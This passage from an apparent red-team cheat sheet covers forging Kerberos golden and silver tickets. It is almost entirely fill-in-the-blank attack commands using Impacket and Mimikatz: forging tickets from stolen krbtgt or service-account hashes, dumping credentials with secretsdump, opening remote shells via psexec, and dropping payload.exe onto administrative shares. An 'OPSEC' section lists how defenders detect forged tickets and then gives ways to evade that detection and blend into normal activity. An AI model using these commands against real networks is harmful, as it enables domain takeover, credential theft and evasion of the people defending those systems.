# Specify custom groups
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -groups 512,513,518,519,520 Administrator

# Custom ticket duration
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -duration 3600 Administrator

# Specify target SPN (for specific service)
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/dc01.contoso.local Administrator

# Export ticket
export KRB5CCNAME=Administrator.ccache

# Use with Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>

OPSEC Considerations
#

# Detection indicators:
# - Tickets with unusual lifetimes (10 years vs normal 10 hours)
# - RC4 encryption when AES is domain default
# - Tickets for non-existent users
# - Missing normal ticket attributes

# Better OPSEC:
# 1. Use realistic ticket lifetimes (hours, not years)
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /endin:600 /ptt

# 2. Use AES256 instead of RC4
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /aes256:<AES_KEY> /ptt

# 3. Match existing user accounts (don't create fake users)
kerberos::golden /user:<EXISTING_USER> /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /ptt

# 4. Rotate tickets regularly (don't use same ticket forever)
# 5. Use during business hours to blend with normal activity

Silver Ticket
#

Forge service ticket (TGS) using service account hash. Provides access to specific service without contacting DC.

Advantages: Never contacts KDC, harder to detect than Golden Ticket Limitations: Only works for specific service, requires service account hash

Gather Required Information
#

# 1. Get service account hash
# For computer account (e.g., CIFS service)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

# For service account (e.g., MSSQL, HTTP)
impacket-secretsdump -just-dc-user <SERVICE_ACCOUNT> <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# 2. Get Domain SID (same as Golden Ticket)
# 3. Identify target service SPN
setspn -L <SERVICE_ACCOUNT>

Create Silver Ticket with Mimikatz
#

# CIFS service ticket (file sharing)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_SERVER_FQDN> /service:cifs /rc4:<COMPUTER_HASH> /ptt

# With AES256 key
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_SERVER_FQDN> /service:cifs /aes256:<AES256_KEY> /ptt

# LDAP service (for DCSync-like operations)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<DC_FQDN> /service:ldap /rc4:<DC_HASH> /ptt

# HOST service (for PsExec, WMI, scheduled tasks)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_FQDN> /service:host /rc4:<COMPUTER_HASH> /ptt

# HTTP service (web applications)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<WEBAPP_FQDN> /service:http /rc4:<SERVICE_HASH> /ptt

# MSSQL service
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<SQL_SERVER_FQDN> /service:mssql /rc4:<SERVICE_HASH> /ptt

# Save to file
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_FQDN> /service:cifs /rc4:<HASH> /ticket:silver.kirbi

Create Silver Ticket with Impacket
#

# CIFS service ticket
impacket-ticketer -nthash <COMPUTER_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/<TARGET_FQDN> Administrator

# LDAP service
impacket-ticketer -nthash <DC_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn ldap/<DC_FQDN> Administrator

# HOST service
impacket-ticketer -nthash <COMPUTER_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn host/<TARGET_FQDN> Administrator

# With AES key
impacket-ticketer -aesKey <AES256_KEY> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/<TARGET_FQDN> Administrator

# Export and use
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>

Practical Usage
#

# After creating CIFS silver ticket
dir \\<TARGET_SERVER>\C$
copy payload.exe \\<TARGET_SERVER>\C$\Windows\Temp\

# After creating HOST silver ticket
# Can use PsExec, WMI, scheduled tasks
psexec.exe \\<TARGET_SERVER> cmd.exe

# After creating LDAP silver ticket
# Can perform directory queries
ldapsearch -H ldap://<TARGET_SERVER> -b "DC=contoso,DC=local"